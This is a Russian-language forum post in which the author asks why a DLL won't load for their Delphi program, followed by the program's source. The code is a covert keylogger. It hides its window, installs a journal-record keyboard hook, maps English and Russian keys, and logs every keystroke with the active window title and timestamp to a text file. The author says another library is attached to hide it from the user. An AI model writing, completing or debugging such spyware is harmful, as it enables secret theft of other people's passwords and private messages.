Вот собсна загрузчик, но о каких путях может идти реч если все находится в одной папке, хотя делал и так чтобы грузилась из текущей директории притом сбда еще я прицепляю библеотеку, которая прячет всю эту байду от глаз юзверя как ни странно, но она загружается, а вот эта нехочет никаким образом:
Код:
const
WinTitle='Hook';
{$EXTERNALSYM WM_DESTROY}
WM_DESTROY = $0002;
{$EXTERNALSYM WM_USER}
WM_USER = $0400;
var
Handle : HWND;
WinClass: TWndClass;
Msg: TMsg;
LangInt:integer;
OLDwnd , NEWwnd: string;
h : hhook;
LogFile: string;
function FookKB: Longint;stdcall; external 'bbl.dll' name 'InstallHook';
function UnFookKB: Longint;stdcall; external 'bbl.dll' name 'RemoveHook';
function AnsiUpperCase(const S: string): string;
var
Len: Integer;
begin
Len := Length(S);
SetString(Result, PChar(S), Len);
if Len > 0 then CharUpperBuff(Pointer(Result), Len);
end;
function AnsiLowerCase(const S: string): string;
var
Len: Integer;
begin
Len := Length(S);
SetString(Result, PChar(S), Len);
if Len > 0 then CharLowerBuff(Pointer(Result), Len);
end;
function FileExists( const FileName : String ) : Boolean;
var
Code: Integer;
begin
Code := GetFileAttributes(PChar(FileName));
Result := (Code <> -1) and (FILE_ATTRIBUTE_DIRECTORY and Code = 0);
end;
Function GetDateTime:string;
var
DT : TSystemTime;
Date,Time: array[0..32]of char;
begin
GetLocalTime(DT);
GetDateFormat(LOCALE_USER_DEFAULT,0,@DT,nil,Date,sizeOf(Date));
GetTimeFormat(LOCALE_USER_DEFAULT,0,@DT,nil,Time,sizeOf(Time));
Result:= date + ' | ' + time;
end;
procedure WriteToTxt(fname,text: string);
var
F: File;
buf: array[0..2500] of Char;
I : integer;
begin
AssignFile(F, fname);
If not FileExists(fname) then
Rewrite(f);
Reset(f,1);
Seek(F, system.filesize(F) );
for i:=1 to length(text) do buf[i-1]:=text[i];
BlockWrite(F, buf, length(text));
CloseFile(F);
end;
Function X_ScanKey(Key:AnsiString;
Lay:integer;
Ch,sh:boolean
):string;
begin
result:=key;
key:= AnsiLowerCase(key);
if length(key)>1 then
begin
if key='space' then key:=' ' else
if key='enter' then key:=#13#10 else
Key:='{'+key+'}';
result:=key;
exit;
end;
if Lay = 1 then
begin
if sh then begin
if key = '`' then key:= '~';
// чуток обрезал для экономии места в посте
if key = '/' then key:='?';
end;
end else if Lay = 2
then
begin
if key = '/' then key:='.';
if key = '`' then key:='ё';
if key = 'q' then key:='й';
// чуток обрезал для экономии места в посте
if key = '.' then key:='ю';
if sh then begin
if key = '\' then key:='/';
// чуток обрезал для экономии места в посте
if key = '.' then key:=',';
end;
end;
if ch then Result:=AnsiUpperCase(key) else Result:=AnsiLowerCase(key);
end;
Procedure Proc(code:integer; wParam:WPARAM;lParam:LPARAM );{:lresult;}stdcall;
function AC:string;
var
Handle:THandle;
Len:LongInt;
Title:string;
begin
Handle:=GetForegroundWindow;
Len:=GetWindowTextLength(Handle) + 1;
SetLength(Title,Len);
GetWindowText(Handle,PChar(Title),Len);
AC:=(Title);
end;
function IsCapsLockPressed:boolean;
var KeyState : TKeyboardState;
function State(Ctrl : Word) : boolean;
begin Result:=((KeyState[ctrl] and 1)=1); end;
begin
Result:=false;
if GetKeyboardState(KeyState)=False then exit;
Result:=State(vk_Capital);
end;
Function IsShiftPressed:boolean;
begin
if GetKeyState(VK_SHIFT) < 0 then result:=true else result:=false;
end;
function xLng(hHn:THandle):integer;
begin
xLng:=1;
if (hHn and $FF) = 9 then xLng:=1
else if (hHn = $419) then xLng:=2;
end;
var
c:array[0..255] of char;
nScan:integer;
iSuPPer:boolean;
begin
if ( (code>=0)and(teventmsg(pointer(lparam)^).message=$0100) )
or ( (code>=0) and (teventmsg(pointer(lparam)^).message=$0104) )
then
begin
nScan:=hibyte((teventmsg(pointer(lparam)^).paramL));
nscan:=nscan shl 16;
GetKeyNameText(nScan,c,256);
if (IsCapsLockPressed and IsShiftPressed) then iSuPPer:=False else
if (IsCapsLockPressed or IsShiftPressed) then iSuPPer:=True else iSuPPer:=false;
NEWwnd := AC;
if OLDwnd <> NEWwnd then
begin
OLDwnd := NEWwnd;
WriteToTxt(LogFile,'[ '+OLDwnd+' ] Time: ' + GetDateTime + #13#10);
end;
WRiteToTxt(LogFile, X_ScanKey(c,LangInt,iSuPPer,IsShiftPressed) );
end;
end;
function WndProc(hnd, wmsg, wparam, lparam: integer): LongInt; stdcall;
function xLng(hHn:THandle):integer;
begin
xLng:=1;
if (hHn and $FF) = 9 then xLng:=1
else if (hHn = $419) then xLng:=2;
end;
begin
case Wmsg of
WM_USER+1, WM_USER+2:
begin
LangInt := xLng ( LOWORD( lParam ) ) ;
end;
WM_DESTROY:
begin
unhookwindowshookex(h);
UnFookKB;
ExitProcess(hnd);
end;
end;
Result:=DefWindowProc(hnd, wmsg, wparam, lparam);
end;
Procedure AppOn;
begin
GetStart;
ParamStr(0);
with WinClass do
begin
lpszClassName:=WinTitle;
lpfnWndProc:=@WndProc;
cbClsExtra:=0;
cbWndExtra:=0;
hInstance:=hInstance;
style:=CS_HREDRAW+CS_VREDRAW+CS_DBLCLKS;
hbrBackground:=COLOR_WINDOW;
end;
RegisterClass(WinClass);
Handle:=CreateWindowEx(WS_EX_WINDOWEDGE, WinTitle, WinTitle, WS_SYSMENU, integer(CW_USEDEFAULT), integer(CW_USEDEFAULT), 0, 0, 0, 0, hInstance, nil);
end;
begin
AppOn;
ShowWindow(Handle, SW_HIDE);
FookKB;
h:=setwindowshookex(WH_JOURNALRECORD,@Proc,hinstance,0);
LogFile:= 'file.txt';
while GetMessage(Msg, 0, 0, 0) do
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end.
|
